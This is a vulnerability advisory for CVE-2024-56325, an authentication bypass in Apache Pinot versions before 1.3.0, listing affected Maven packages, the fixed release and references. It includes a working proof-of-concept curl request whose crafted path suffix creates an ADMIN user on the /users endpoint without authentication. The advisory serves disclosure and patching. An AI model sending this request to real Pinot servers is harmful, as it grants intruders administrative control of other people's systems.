CVE-2024-56325
Apache Pinot Vulnerable to Authentication Bypass
Impact
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| maven | org.apache.pinot:pinot-broker | >= 0.8.0, < 1.3.0 | 1.3.0 |
| maven | org.apache.pinot:pinot-common | >= 0.8.0, < 1.3.0 | 1.3.0 |
| maven | org.apache.pinot:pinot-controller | >= 0.8.0, < 1.3.0 | 1.3.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Apache | Pinot | before 1.3.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
- http://www.openwall.com/lists/oss-security/2025/03/27/8
- https://github.com/advisories/GHSA-6jwp-4wvj-6597
- https://nvd.nist.gov/vuln/detail/CVE-2024-56325
- https://github.com/apache/pinot/pull/14383
- https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f
- https://github.com/apache/pinot/releases/tag/release-1.3.0
- https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121